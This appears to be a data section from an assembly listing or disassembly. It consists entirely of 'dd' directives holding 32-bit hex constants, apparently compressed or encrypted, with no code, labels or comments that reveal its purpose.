		dd 625177ADh, 2D8DEF41h, 181FE7C7h, 27EDA16Dh, 4C8DDE7h
		dd 0F7BA04D0h, 0E7C5552Dh, 2DD7F4F7h, 0AD7C2F59h, 51A0F770h
		dd 0E1ADCEC7h, 5E896D7h, 0E0FF2DECh, 0E005A8D7h, 20F7D1F4h
		dd 3FA5CFD8h, 4562E72Ah, 14FD1C4h, 0C537AAF7h, 0D7703FF3h
		dd 0D3C6C48Eh, 49F7E70Fh, 3FA93850h, 51619142h,	6ED6177h
		dd 0ECCC03D7h, 7593FEAAh, 0AC0FF7CBh, 2DD7E807h, 6DE94649h
		dd 0CBFBE7CBh, 41EDC646h, 0C445ED53h, 0D7E7EDE1h, 0F0464BBEh
		dd 634D90EDh, 77D20659h, 0D2D5D7B8h, 0CC4CD284h, 0CDF83DA5h
		dd 0B03D6DAEh, 0F58555E1h, 6421B9ADh, 0ADB5E161h, 4F821B70h
		dd 8446A02Ch, 75652633h, 0D766AD56h, 0E68645AAh, 0EDD7D4EDh
		dd 0F1D6C665h, 49ACE7E5h, 0F1EDE5C7h, 8461E9D7h, 73246DE8h
		dd 0F44641EDh, 0DCF7AE46h, 0EDE4C7F3h, 492B29C1h, 0D4F1DC45h
		dd 0C7C89EF7h, 83F02DC4h, 9B6BE88Ch, 0A3C7E47Ch, 0ADA5A075h
		dd 6DA3C7F5h, 58AD90B3h, 0CA5D67D7h, 0E7DB2DB4h, 4F4A7561h
		dd 0BAE7B436h, 0EDE9C6E4h, 0D04663CFh, 250CC285h, 4769A3E7h
		dd 0A29F0CC2h, 0EB4468CCh, 32C7BE77h, 71D046E4h, 846FE755h
		dd 0E46DA2A4h, 0F555A7E7h, 0A306C8BFh, 4282D846h, 6AA0717Ah
		dd 2DC4C469h, 0D0FC9143h, 82716656h, 87712E93h,	417706DBh
		dd 0C5C7E88Ch, 43F79A2Dh, 74946AD0h, 0C4DC61EBh, 87706B62h
		dd 627566D7h, 938C0E96h, 61CFB725h, 609306EDh, 0F7936F80h
		dd 55E0E7F1h, 0DFB49B41h, 46F73CE4h, 6DAEADF0h,	804F45E7h
		dd 7F618F44h, 449AEFDFh, 4965E7F7h, 0F7EDE805h,	0F94400F7h
		dd 0D7506A8h, 0D0C4E486h, 2A114D73h, 71E60465h,	8E69119h
		dd 95ED8522h, 0D68CADC0h, 0D7822D8Dh, 626AAE2Dh, 0E0D7E877h
		dd 70ECC761h, 6C7EE72Dh, 0FB6D9DADh, 0A34DEBC7h, 0C7A581A9h
		dd 0C746006Eh, 0A37DEE6Dh, 0EDE58645h, 7528E0EEh, 8D39CA47h
		dd 818F2FE7h, 0A2F6B4B4h, 0BF4A45ABh, 0A1B13CF4h, 0F4FF8555h
		dd 75A1B131h, 0BCF3B297h, 165DAAE7h, 4C68B286h,	88BEAC09h
		dd 0A3E7DBADh, 0C9C04761h, 4968E7B4h, 5B2DBDE1h, 0C6942729h
		dd 434144DDh, 8369D474h, 75D7D047h, 0B6D186E4h,	652A5101h
		dd 342DCD05h, 4D65E7F7h, 7151ADB5h, 0DEC61486h,	0A2A24DB4h
		dd 26D48579h, 0C40DD725h, 9B6DEC86h, 468A2011h,	91B1EDECh
		dd 0A9A022B1h, 0DB52672Dh, 81A1EF5Fh, 55A5F08Fh, 0E5ED7257h
		dd 0C604A1DCh, 737FB4F0h, 7D36F8FEh, 0EBAACB82h, 7CD9447Dh
		dd 65A9119Fh, 0CBEDC1C4h, 46086E8Dh, 33E6ADCFh,	0BDF6E05Bh
		dd 0A4AE1FEDh, 1635249h, 0BF3B6374h, 7C74BBD7h,	9765A0E7h
		dd 0E7FB064Dh, 0AE605DA7h, 0A6B3C2EDh, 2DD64604h, 0E8B5F79Ah
		dd 14476A3h, 6D47591h, 0D7FFADF5h, 0FB4687ABh, 246F586Dh
		dd 0C161B749h, 556350B5h, 4B2D85F6h, 600AFFF2h,	0C7E5EDA9h
		dd 0AE76F339h, 41C7386Dh, 0B7E284D8h, 444FE754h, 0FAEDADE1h
		dd 27166E7h, 0F7167BBCh, 0B56C0005h, 2DF776EDh,	6DD3C575h
		dd 41ED5045h, 0BAB6E605h, 549A5F7h, 0F77A71CDh,	743C75A5h
		dd 21F71A47h, 837F5C10h, 4969D7BAh, 0E0AD68B7h,	0C741A1C7h
		dd 61BFEDD4h, 0DEC5A0B4h, 25E734EDh, 0EDE10479h, 7DEAE72Bh
		dd 0C7B3DD04h, 841805F7h, 0F7727BE7h, 9B53208Dh, 7A106D44h
		dd 0EDA3EDC0h, 59A8C7DFh, 0C53CCC85h, 0AF596DE7h, 0F7E4AD63h
		dd 0AC9ED0D5h, 0CBC7C96Dh, 0ADBB7C8Fh, 416BE715h, 7623F807h
		dd 0A0756591h, 0A38EED9Eh, 0B3B375A2h, 0EA328477h, 0F7933755h
		dd 45A0C715h, 926DF246h, 508884Ch, 61740BCAh, 0F8C77D6Bh
		dd 0C2F77603h, 3C7C7C4h, 51A24258h, 3540F7BEh, 6616611h
		dd 0F707B2CEh, 0B5BD7DE9h, 20C799FFh, 2DD54641h, 0AA17C731h
		dd 0C43393E8h, 0D14D646Fh, 3039315Ah, 0BD71C743h, 0F0F7D8C8h
		dd 0ADE585F4h, 6D2BE0EEh, 0F3F9D547h, 4AD87691h, 2013D898h
		dd 82A8C34h, 0E0F7E3F4h, 2D8DD775h, 9B50C791h, 3662BE2Bh
		dd 0EF3BFF00h, 5011FBB7h, 0BCBA41A0h, 22E74AADh, 0F4F6877Dh
		dd 6522F786h, 8C2DD646h, 6A53CFC7h, 0E7D8F46Eh,	0C8066437h
		dd 37F7DCF4h, 6DA9E158h, 0F0F4D7C1h, 0CBC1AA63h, 5556BE7h
		dd 0E70DF4F6h, 0FB0541E2h, 0A5F714B7h, 0EDDC0475h, 41A281E5h
		dd 65F4F605h, 0C17162A1h, 0AFA72DBEh, 9FC17122h, 0EDAFA7EDh
		dd 2DA4C171h, 75EF93A7h, 18FCE0C7h, 8975E950h, 0E7B12D8Dh
		dd 99004D60h, 77B14EADh, 798B74C8h, 792B40FBh, 13F4DD84h
		dd 0E34DEBC7h, 21B12DA9h, 113155E0h, 25A10AB6h,	6D2C4275h
		dd 0D030E7FEh, 0DBCC3C7h, 0C575EF31h, 20E1BCE4h, 0A1D6C03Eh
		dd 0B2611DEDh, 0ADD184C0h, 8394BC54h, 0CDAD8DFAh, 460419C7h
		dd 0EEDAEDD3h, 0A45DB8B6h, 0A2D7DFEDh, 0B0970179h, 69A5D71Fh
		dd 0B96D6EE3h, 0C451ED10h, 0D77FF1EEh, 8D7A55E5h, 29221E2Dh
		dd 0AD10774Dh, 41E9D7A5h, 692DE446h, 44449DB3h,	0D7126DE1h
		dd 0C1A07478h, 0B3410CEDh, 0BCCC85E4h, 6567D7E1h, 0CE83FB46h
		dd 50F43F63h, 81C9F98Eh, 8E4F6CF6h, 5AC7D977h, 0ADA863CEh
		dd 4D6DB11Ah, 0BCAD7C0Dh, 0E341E0FCh, 0E7FFEDB1h, 4DE35DEEh
		dd 0AB3DE06Dh, 0ED9EAE80h, 5DA2F71Bh, 6C3FAC5h,	216D6BC7h
		dd 0A057ADBCh, 0CBC74880h, 0EAD72BF7h, 0ADB26D5Dh, 55ACF7DFh
		dd 3EC7D686h, 0C76846E7h, 0F7CAEDD8h, 0A6E165ACh, 2741C2EDh
		dd 6DAC0D45h, 75ABE7B2h, 262D85EEh, 661ADD7h, 0E77FBCF0h
		dd 0E685B04Bh, 40938DEDh, 0B7E706D4h, 6743D7C4h, 15ED9EB1h
		dd 0C77525D7h, 93B06DC1h, 0CD057166h, 0A253B16Dh, 0B5F3C455h
		dd 616321FBh, 0E67F99B5h, 0C570B2E7h, 0E7BA6DECh, 0DD4649ABh
		dd 0A630A3EDh, 8FD3C549h, 0F402E7DCh, 7EDCF04h,	655A1D7h
		dd 0A15BADEDh, 0E3054928h, 0E5C7792Dh, 0ADB57C4Dh, 49BC730h
		dd 906DFE46h, 0ECECF6C7h, 733FED94h, 0B7CF5042h, 8C633FADh
		dd 0EDDC85C4h, 49A271F2h, 64FFDBC4h, 7FD897D7h,	0C705F78Bh
		dd 0E6C559A9h, 0EAE75C6Dh, 379A4E75h, 45A6F71Ah, 0C8BFF407h
		dd 379EFA1h, 116A5782h,	0DA2FF90Fh, 0C9C7F477h,	2D8D5AC3h
		dd 0F7CCC165h, 0DF44CB85h, 807121D7h, 0F7DD37BDh, 0DB456DA2h
		dd 0CBF725FFh, 37CA6E78h, 0F1CAF730h, 0DA75F585h, 4FC07B7Fh
		dd 0F7FDAD90h, 0D9855166h, 0F1C7706Dh, 77C58444h, 4052D765h
		dd 0B0B4D184h, 484DAB71h, 0D7B42D8Eh, 810DC887h, 0A1533CFFh
		dd 0ADBC0D45h, 78008344h, 68EDF304h, 0C8DD910Bh, 0D7A0BE3Eh
		dd 0C5C55210h, 87E70877h, 0AD904810h, 0C4FDD7D6h, 7FADE646h
		dd 0EC5DE913h, 37DADB9h, 0E80471E5h, 636176EDh,	0EDA0486Dh
		dd 6FFDC779h, 44ADBD23h, 176966B3h, 0E72674BFh,	0CDC665ACh
		dd 0E4E7E5ADh, 74918079h, 74BED7C8h, 0D86D8620h, 46C40F6Dh
		dd 0E70504E0h, 0C6C5696Ah, 0A27DF16Dh, 0ADCD855Dh, 1446E0A4h
		dd 7AFFDD87h, 2079A2B3h, 0D7C91F96h, 0A6C378BEh, 0CBF17044h
		dd 0EDED07D8h, 55ED93B5h, 0F02DD005h, 0C5603EC7h, 7045F1E9h
		dd 0E98465AAh, 3DE7EBC0h, 0B8C8C5D8h, 79EDD7E9h, 0DFEDFDC6h
		dd 0C045A4D7h, 0A1C5BC9Bh, 9B295525h, 22E7EC2Dh, 7CE6866Dh
		dd 0F4996161h, 0EF89E045h, 6616BD2h, 0A03AADF6h, 0B303796Ch
		dd 0A1C74AADh, 0ED9B6287h
		dd 0E872E784h, 7A6DE685h, 0C561A5E7h, 51CA76D5h, 0A4EC6DE8h
		dd 0E5C753ADh, 74C7453Ch, 6165611Ch, 0F92DDBC7h, 0E165E6C7h
		dd 0F7D2AD99h, 0EE841BEDh, 0B2E7646Dh, 41E8C540h, 0E81B11EBh
		dd 0CF61C586h, 0AD69ABC0h, 0ACBC01B9h, 0E3C671A6h, 27A1C881h
		dd 0ADB8886Dh, 5DE9AD87h, 982D78E3h, 0C5C44693h, 0F7E86DE8h
		dd 9C6D3BA1h, 0A2F762EDh, 0ADCF046Dh, 792EC0B0h, 7FFD646h
		dd 4D416AE7h, 0D7DFEDA8h, 0E98579EFh, 0E7E5B8h,	0ED9A93A0h
		dd 4565C77Fh, 66ADC746h, 1648035Dh, 417591AEh, 0C4847D26h
		dd 0E7138B44h, 6DB8EC6Dh, 64F6D793h, 83E0EA04h,	2512A91h
		dd 0F7FB77ABh, 693D51AAh, 0A4D2B8EDh, 0EDDBC741h, 0FCC1818Ch
		dd 2F8D804h, 0C5C357F0h, 0C7DF10C4h, 0AC02712Dh, 21B02374h
		dd 76A2016Dh, 6DA0C856h, 509B336h, 0E26526C7h, 5146EDB6h
		dd 0BD016DA1h, 0E4313AC1h, 2DE04645h, 58C6D759h, 0C8EDD306h
		dd 886DE6A1h, 0E09DADBBh, 0DDC46563h, 0CA929AFFh, 6D012AE9h
		dd 0C8F9CCA7h, 5FAEDC7h, 8755A7F7h, 0B1ABBFF4h,	0FD4765A7h
		dd 2FE70D00h, 74A68C61h, 0EF8D4127h, 0B16D95E1h, 0C5641B63h
		dd 0C78D74E0h, 0E9C79338h, 0EFF7C5EDh, 0F364F24Dh, 6D6BD7C7h
		dd 0F06DEE85h, 45C836E7h, 0F7E6ADF5h, 0DD064DEDh, 0E201DEF4h
		dd 2DA5377Dh, 6166D7E0h, 5FADD7C6h, 5870BDD7h, 10B8B34Ch
		dd 0F5C4616Dh, 0C160D0EDh, 2DDBC748h, 7D62F72Fh, 952D994Eh
		dd 0C5592BD7h, 0F7166DEEh, 0E1C64163h, 76E765EDh, 6DE9C7D0h
		dd 45A1E7A5h, 7F76DACh,	0C44125C7h, 0F7952DD3h,	99BC6DE5h
		dd 0A851B02Dh, 0ADB6DC45h, 6124E786h, 87EDB63Fh, 3859A0F7h
		dd 7002ADB3h, 8EBA45A0h, 0E9C758B3h, 0ADB8BC4Dh, 75A2F7E6h
		dd 5B2DE404h, 0C44DA5E7h, 0D75B6DE6h, 0E6047D26h, 26D77FEDh
		dd 6DEE844Dh, 884ED737h, 0B8EDEDC4h, 0FF6DE1C7h, 0F70BED85h
		dd 0D6C764B0h, 6DD7A3ADh, 2DF6C64Dh, 552DF71Fh,	0E4EDE7C4h
		dd 8669AAD7h, 0E7F2EDC4h, 0DBC4756Eh, 76E7A72Dh, 0ED845D90h
		dd 556BD7A3h, 776DE885h, 0BF5DEBE7h, 0E7C2EDC4h, 0F0C6756Eh
		dd 0A5424FBCh, 0AD7C7F5Dh, 4D6DD7E4h, 316DAE3Ch, 848807D7h
		dd 910E33F5h, 0D1C451E5h, 60C7872Dh, 0ADB0BE65h, 2CCB31FAh
		dd 90B2D384h, 0C7084050h, 447A2DF4h, 0DD84138Dh, 0EBD7052Dh
		dd 2D911C45h, 712D51B0h, 0B8ED8E80h, 0F9A0C2C7h, 0E71B2DA4h
		dd 0C105D89Bh, 20C7373Fh, 2DFB0549h, 0DC4EE778h, 7933F886h
		dd 50BCA50h, 72332DF3h,	0DE863CD7h, 0A2E753EDh,	0F7E2845Dh
		dd 55E231FAh, 6AD94FFh,	0C7696650h, 0C7ED2DDEh,	729F7D2Eh
		dd 69D707EDh, 2DCB8669h, 61A8C718h, 0CFADD145h,	0E5692162h
		dd 0C7ADAD90h, 0CE05A30Fh, 2DF7632Dh, 73D2C449h, 6DAE2C31h
		dd 57823EFEh, 1988165Eh, 0E7B7F34Ah, 0EBC741A5h, 0C828C5ADh
		dd 33CEC480h, 9C07D776h, 252D8E6Dh, 0C584C8F7h,	0E7BA6DE6h
		dd 0ADE265AAh, 20028EDh, 42D2C7E4h, 0A0C571E7h,	166DEE86h
		dd 0C7009C40h, 1087ADFBh, 9BFB0812h, 5D502E72h,	72F20588h
		dd 616D01B2h, 0B66DAD5Fh, 65D25D7h, 62412DE4h, 965F616Dh
		dd 0EDE7ACADh, 0B1EB0451h, 0B00C612Fh, 0AE737B9Fh, 85416572h
		dd 6EC24BF0h, 0AC7F45A1h, 6BD7E3EDh, 0AC44541h,	808E8112h
		dd 163AD47Ah, 74C3560h,	0F75FCCF5h, 0E7C7752Dh,	7E7A70Bh
		dd 6DAC22A0h, 756DF764h, 99EDD5C4h, 6D83A40h, 51B0EDEDh
		dd 848165AAh, 138C106Dh, 2DF9C774h, 75253CCEh, 7BCE007h
		dd 0C755A6F7h, 215FBEF7h, 0A4A165E1h, 25D79D2Dh, 0ADEDC569h
		dd 0C835D7E6h, 0B1ADB65Bh, 867D2AD7h, 9F3594F5h, 0F5C54234h
		dd 0F1D7E7ADh, 0ADE5C74Bh, 6BF0B16Eh, 0C76DC1C7h, 0E0EF77F7h
		dd 0E75A7C2Fh, 0E0C46961h, 0E4E7F754h, 0ADDCC765h, 0A4AE830Ah
		dd 5AEDE144h, 0C76BF1D7h, 0F011ADDDh, 0F64441A2h, 0E2A28BADh
		dd 0B4CBC555h, 0E4B98F35h, 0DB60DC85h, 80412F61h, 0F7070899h
		dd 61DD71A4h, 0E9F7C5EDh, 77DD4665h, 4BF1D7D7h,	0CD2DED45h
		dd 4655E470h, 0E786ADF4h, 0F4857561h, 0AC4146ADh, 0FFC7866Dh
		dd 588CE051h, 5DEDE806h, 0C571669Dh, 0E77884E1h, 0ED4490B8h
		dd 85E7E0EDh, 0FF6F522Bh, 0C3B1E70Dh, 71EDD8C7h, 744D609Dh
		dd 0A81B2DACh, 5432ECF0h, 0C7E71AF1h, 0EDD104B0h, 41A1E786h
		dd 1EADF5C7h, 5F01B93h,	41CA04CDh, 626BE951h, 98C7B82Dh
		dd 36E18458h, 1B79B899h, 70040D0Dh, 0C67563E7h,	92B7ADE4h
		dd 4982FC3Eh, 0EDF0593Ch, 0B7092E45h, 65A1C787h, 1F87CB85h
		dd 0EB65E1D7h, 0E7EDB4B9h, 8EA0D4F4h, 0A471323Eh, 8FCCC745h
		dd 0AC42510Ch, 782DDA85h, 0AC59E4E7h, 0E71F0CF9h, 0F2C769E8h
		dd 30F71A72h, 71EBC780h, 6DA5F71Ah, 5774D42h, 0A9E43ED7h
		dd 0FC96B5BBh, 0C88461E0h, 0E0D7E7CBh, 0AD943D69h, 0D45261D6h
		dd 0DD2DB4BBh, 0E045E1D7h, 0D79BAD98h, 0CCC6696Dh, 81D7D5ADh
		dd 0EDD5C737h, 30546C76h, 732DDDC4h, 0C4656DF7h, 0F7F533CEh
		dd 0EDC6E404h, 0A2F777EDh, 77D50675h, 4D6AD707h, 1C2D644Ah
		dd 3DC8F3D7h, 0A3BFB4B9h, 0A90B420Eh, 2AD7D7F7h, 6DF84641h
		dd 792DB3E1h, 0F9EDE587h, 5C8F4E7h, 607F2DDFh, 0E604792Ah
		dd 6750C2ADh, 2DE4C659h, 5125E79Fh, 0E1ADE2C7h,	0C769E1F7h
		dd 0D7DBADEDh, 0C9C784E5h, 2DFC762Dh, 0B3F88765h, 0DC7552F1h
		dd 0E72D8A28h, 0C465A951h, 0E7D92DD9h, 0E184E7DDh, 0EDE714EDh
		dd 0BEDC4645h, 45A53D46h, 0B8AD6C29h, 3C6969D7h, 0F7DBFC92h
		dd 0FB0645A5h, 21D786FEh, 6DECC555h, 985DF7F7h,	0C8F4A92Eh
		dd 0C4E05733h, 0C7FCF7F8h, 0CDC4752Ch, 0A1D71AF1h, 6DD9C741h
		dd 0CF77F742h, 35ADE3C7h, 0C6456DC7h, 0E7C432F3h, 0ADCD4DE9h
		dd 0E1D7766Dh, 0EDAC3749h, 59A5E7FBh, 5FBA7581h, 866DAAD7h
		dd 8105EDC4h, 0BE2DC8D4h, 8751AAADh, 0CB8BBE2Bh, 0FC7503A5h
		dd 0A5AD98F7h, 4549A8D0h, 52EAADF4h, 0CFC661A4h, 6940752Dh
		dd 9BE8FC71h, 552150FEh, 5C6DE606h, 0C441EAE7h,	0F799EDDEh
		dd 0DC04552Dh, 249128EDh, 0EDB57549h, 5D25926Dh, 62ADF0C7h
		dd 0C669AA03h, 0B1AAEDE4h, 0A6895DA1h, 66D793EDh, 0EDEA0669h
		dd 5D66D706h, 953BBF89h, 0C5756AF7h, 0F705ADECh, 83696D6Ah
		dd 0A5C778F2h, 0F0846961h, 5520126Ch, 6ADBAFFh,	7469E150h
		dd 0E7635BB1h, 0DE06C7B4h, 0CFD7A534h, 43CC8727h, 9A0FC76Ch
		dd 1E6DE685h, 1F91ED91h, 54156D75h, 0D8C41A49h,	6DF07937h
		dd 0F651374Dh, 0C057F73Ah, 6A37D804h, 0C65D67D0h, 0F0B2EDE4h
		dd 0E50694DFh, 0AFF035EDh, 3172E051h, 59E9322Bh, 36EDE106h
		dd 659EDD7h, 0B11BEDDAh, 0A3396DE6h, 0C8F7327Bh, 0B3C006B4h
		dd 9CE1E71Bh, 5533BD61h, 0F6AC2AFCh, 7007F68Ch,	0ABFF9F9Eh
		dd 75F72BF8h, 0ADF204B0h, 6DA51016h, 50EDB69Ah,	9A4D2A12h
		dd 0E739F0BBh, 0B6E17D24h, 291CDCEDh, 2D4E159h,	0B4EC61B1h
		dd 0ED2D8E31h, 0E10B37C7h, 8566ADAAh, 0C8C776B4h, 7292F149h
		dd 3B8161DDh, 0ECC0F0B2h, 0AFF4D405h, 6946D31h,	0B0F87AF9h
		dd 0FFC47D2Dh, 0F6F775B3h, 2D9D30CCh, 5D26E79Fh, 9FB79589h
		dd 895D66E7h, 0D786EDAAh, 5FB44127h, 75C7AFB3h,	70EFC45Ch
		dd 9472E737h, 28EDD684h, 0C6E07581h, 0C7E42DDBh, 0DBC76921h
		dd 0BF316D2Dh, 1945390h, 65AAC772h, 0FB9AE21h, 0B45DA23Eh
		dd 0BED4509Dh, 0D80508A9h, 2A42C171h, 6DEEBF75h, 340CC756h
		dd 7EDE304h, 7F5525C4h,	0D77673D1h, 49120F8Eh, 0C8F4C861h
		dd 0AD921793h, 51A21E8Ah
		dd 0D431A32Eh, 0C5E8750Ch, 6330F1h, 9B291BEh, 0EA3049F1h
		dd 0ADDCC749h, 496DBCE1h, 0E609E404h, 0DF0C75A0h, 905BF83Eh
		dd 8D728AD8h, 37A05BF0h, 2D6B5AABh, 5BF4E70Ah, 0ABC4F346h
		dd 0C61FF1C7h, 8FE780EDh, 0F2FF9005h, 0F36073FCh, 0A49EFD9Dh
		dd 0A826936Eh, 0E3F4D1C5h, 2C652AE7h, 1518ADA5h, 0F385F41Ah
		dd 0FCA59DFCh, 0EDF2C6E3h, 65EBF705h, 2FADF606h, 9459EAE0h
		dd 93DEADB3h, 85546DA0h, 26E786EDh, 6DECC76Dh, 4922F010h
		dd 566DE6C5h, 0B86D2AD7h, 0D03C6DA6h, 0E846492Ah, 0D0C282EDh
		dd 2DD30568h, 696BE711h, 0EF6D8449h, 0FC75686Fh, 0D72B2D91h
		dd 0C5464928h, 6692E633h, 0B1C24569h, 492AC72Dh, 0B82DEAC5h
		dd 0C6A815E7h, 0F72BEDF1h, 0ADF4A4E1h, 0ABD779EDh, 0AD90D875h
		dd 4D6DD7ECh, 0A12DCE86h, 1989D6D7h, 1CB5ED6Fh,	8DD88457h
		dd 71007C2Dh, 0FCF587F4h, 4524F787h, 6EAD664Dh,	6CC0BB1h
		dd 213D37FAh, 0A97E65A2h, 6DDE8E6Dh, 71F50455h,	49A604EBh
		dd 2D49C8C7h, 645A0F7h,	0E7BC6DE6h, 0A0EDA468h,	0E7D7A9B0h
		dd 0EDAE2961h, 0F0D6B13Eh, 7EDF204h, 0C775ECF7h, 0E71A52FAh
		dd 91B7D0F6h, 56D7ABF6h, 0ADD18638h, 0D39FD79Fh, 0AEE1C0B5h
		dd 0B76521E0h, 0C72DB7AEh, 0C8047129h, 562AC7ADh, 0EDC5440Ch
		dd 5D6BD732h, 3B6DE684h, 0E14165E7h, 223482A5h,	0CA042C91h
		dd 0AC3CF62Dh, 7496B8ACh, 6565E73Bh, 0B7A287E1h, 6165EA20h
		dd 3100F097h, 0BD619CDDh, 68D7842Dh, 0AD91C17Dh, 45E0D7E3h
		dd 0AE6DD246h, 7C7160B3h, 0D7A5F19Ah, 0DDC72852h, 21E71AEDh
		dd 0F4CB45B4h, 8C7C20A2h, 91FEFB04h, 0C479EBF7h, 0E7976DE0h
		dd 0B15554D4h, 6DD0FDADh, 0EDCEC54Dh, 616D5018h, 3C60D206h
		dd 0F27122C0h, 0D718ED5Eh, 0FCC5A013h, 0E2D77781h, 0B1D3C48Ch
		dd 14B7F7F2h, 61AD5814h, 0F7692991h, 0E7FAB05Dh, 0A3D74966h
		dd 0E7D7DEF4h, 6DED8455h, 5CBF5171h, 0B8EDEA06h, 0A059E6D7h
		dd 0E0582D89h, 0CEC5886Ch, 0F0E7EE2Dh, 6D29A304h, 1FF3D7C7h
		dd 4E717C83h, 0E160FF91h, 0B3497C90h, 0A6F155E7h, 0A8812478h
		dd 7CE60684h, 796281D2h, 0C4B3BF2Bh, 0F6CC3B93h, 0F786B45Bh
		dd 0ECBCB728h, 6DB1C76Dh, 0ADB40265h, 0D4C49DD8h, 7254A0A2h
		dd 0C58AC2D7h, 0F7E4A3DFh, 0F6456922h, 0F5E72774h, 3851DF50h
		dd 4965F71Eh, 163EE05h,	0C5412A62h, 91CFADD9h, 0D345416Bh
		dd 8FD7A6CFh, 0B385CCA9h, 7D2EAD43h, 4AB705E2h,	465F41C7h
		dd 0F728EDECh, 91A008ADh, 6DF727ADh, 0B0DAC54Dh, 9BFDC7A1h
		dd 0D9AD9054h, 73CC55C7h, 903B7F6Fh, 0EBC708DEh, 2DB133EDh
		dd 77FE0441h, 4DA2F76Ah, 0A2EDDE85h, 8E612CE7h,	934337ADh
		dd 0D1C55166h, 0A55D096Dh, 0EDC0C769h, 93605D49h, 756DA830h
		dd 0A79A5E7h, 0C7D2AD4Dh, 0ADE855ACh, 0ECE7CAB6h, 0AD51E855h
		dd 5563E760h, 0F13FFCC6h, 46E408E7h, 0D76417FAh, 0C104752Ah
		dd 2AD7E4EDh, 0FD38665h, 596BE7A0h, 7F2DA98Eh, 464565E7h
		dd 93AA77C6h, 92C979E9h, 15E7196Dh, 2D95F5C3h, 0FC78F71Fh
		dd 653FC7C5h, 0B5FC4AC7h, 611874A3h, 0FB46D8B7h, 0EFF715ADh
		dd 0EDD40555h, 78CB41C8h, 0B317D3C5h, 7C0A0C7h,	0E7E9ADE1h
		dd 0F907D88Eh, 0F033B4ADh, 2DEA05C8h, 79E2913Fh, 0B837C785h
		dd 6F7126D7h, 0C791FE47h, 0D706FB97h, 90F79EADh, 0ADCD4554h
		dd 4D27F7A5h, 0E32D8DAEh, 6D84AD7h, 13B4B7DCh, 0DAC67D6Dh
		dd 91F7F56Dh, 2DE20548h, 49E2D7B3h, 7DE6BAB5h, 0A061EA3Fh
		dd 232637B7h, 0FC464563h, 0A7F7DF3Fh, 0F4CB0665h, 75A83324h
		dd 0E7366CA9h, 0C4BC1402h, 0E7A8EDDCh, 0D1847D2Ch, 2AD7E17Fh
		dd 0EDED0471h, 59AF61D2h, 0FD3F8E8Eh, 0AE4DECF7h, 0E7A86DACh
		dd 0AF0B4D6Ch, 0EF40176Dh, 7EDF8775h, 0B025D7ABh, 0ABEDD204h
		dd 0A77526F7h, 0D7F87791h, 0F5476124h, 6B6CDE6Dh, 6DC6C575h
		dd 71661D1Fh, 7906C1C5h, 0C74965C7h, 0F7F87EE4h, 8E2E4DABh
		dd 63E79D2Dh, 0BEE04455h, 71E3E7CBh, 0A52D8DC8h, 844031C7h
		dd 0D7FBADCDh, 0F504A765h, 2AC799C1h, 0F2B721DCh, 612AD7DAh
		dd 927CB528h, 471E421h,	3116EDC4h, 8D0BDB5Eh, 0A7F7412Dh
		dd 46916B18h, 45A2E029h, 0FBFEE2C5h, 0E955EAC7h, 0D74F2D4Dh
		dd 0AA615D2Bh, 20C7E5F6h, 0EDA90EBCh, 5DE6E7DFh, 0D46DA6C0h
		dd 0B45125E7h, 0DC3DF171h, 0E4744524h, 6BEC72EDh, 0A19F2B5Dh
		dd 0BE4DCC5h, 0FFED7554h, 0AB596AE7h, 0D273ED47h, 0D90551EDh
		dd 0C173096Dh, 0ADCF058Ch, 416BE7E4h, 8C81F6C6h, 0C5C48C2Ch
		dd 0E7DFADF3h, 47A975A6h, 0CBC7DDF2h, 0AD93A240h, 0F402D090h
		dd 1D2D81FCh, 5580A893h, 0A3C1ED41h, 0E546E47Bh, 1ED721F4h
		dd 0ED905464h, 54CED7CBh, 0D66DA5AEh, 28C85403h, 0C7E52D8Dh
		dd 96968B60h, 0EAF7CA79h, 3B7EE955h, 0F054F731h, 74B0D004h
		dd 474525E7h, 0C7076DE7h, 0DB856520h, 0FCE758B4h, 0ADE54744h
		dd 792B8137h, 0F8ED6471h, 44BCCAF7h, 90AFEDE1h,	0E4861CF7h
		dd 0BBD776C7h, 2DDB46E4h, 4125C787h, 0E2F0F8C7h, 378BB682h
		dd 215EEDA9h, 0FE4659EBh, 0A3C765F2h, 0EDE94741h, 0B0347103h
		dd 85EDC704h, 7652AC7h,	235CEDD0h, 0B5707965h, 0F5B27F2Dh
		dd 2D8621C0h, 0ECB0C7B7h, 95ADBC6Eh, 87B4E941h,	0C7B3B8DFh
		dd 0F80679A3h, 0E5F7E7F0h, 0ADD18479h, 9434E7FCh, 8FED9BA2h
		dd 0FFCC4C10h, 0D7E3ADABh, 0EC064567h, 0DEE784ADh, 0EDE1C4DCh
		dd 7925F77Ah, 0ABADF584h, 45552091h, 0E7B4BAD6h, 0D6464925h
		dd 6AD705EDh, 30962E7Dh, 0B04AF717h, 0E66DEEC5h, 44652DF7h
		dd 13BB6DE1h, 0BAF071E9h, 0E9609AEDh, 6DA4F255h, 45A5F71Fh
		dd 0C8F5DD07h, 0C465AA41h, 0E7EDEDE1h, 0CFC551A2h, 20C765ADh
		dd 6DAD2180h, 14ABF7F7h, 4778B774h, 0C78485D7h,	10A9EDEDh
		dd 0F2C4F81Fh, 0A1F786ADh, 78CFC545h, 83FC7E6h,	92789454h
		dd 2E752013h, 0E7766DA6h, 0CE456525h, 6562972Dh, 35DA4571h
		dd 44B4B170h, 77EDC5C6h, 0AE285492h, 0C715ADB8h, 0E9C461AAh
		dd 5C7F5EDh, 36822214h,	7561B1B6h, 93ADDDC5h, 0C745E4B1h
		dd 0D7A5F6C6h, 0E5077D25h, 25E71F2Dh, 6DDBC559h, 65E0F7D5h
		dd 0BE2DCD84h, 754436B1h, 0D7B8F2B1h, 0E3C541E5h, 2AD715EDh
		dd 0F8B1BC49h, 59E41DA3h, 90EDB5A0h, 0C4D0D931h, 0E708B1C0h
		dd 0D3059F63h, 18402637h, 0ADDAC5E4h, 4920C71Ch, 2EADA25Dh
		dd 600CB450h, 0F7F82DBCh, 0DAC769E7h, 6493A3ADh, 0ADE1C749h
		dd 7DE5F0FCh, 632DCEC5h, 0C5696DC7h, 0E7F62DDAh, 8DA3BCA3h
		dd 31C7452Dh, 83D3C468h, 75226155h, 5CB39B74h, 0B1E8C8D7h
		dd 0E7CE6DA8h, 0C04555A7h, 2BE785F9h, 3AF28475h, 6961E78Dh
		dd 846DAC09h, 8071E8E7h, 0E097B4B4h, 91F6416Eh,	0EFE0976Dh
		dd 6DE0C749h, 68B0F7DDh, 0E36DEF84h, 0C641E6D7h, 0C7136DE1h
		dd 0E2C7D432h, 0A08170EDh, 2DDDC7C8h, 79EC6D06h, 0C834CDC4h
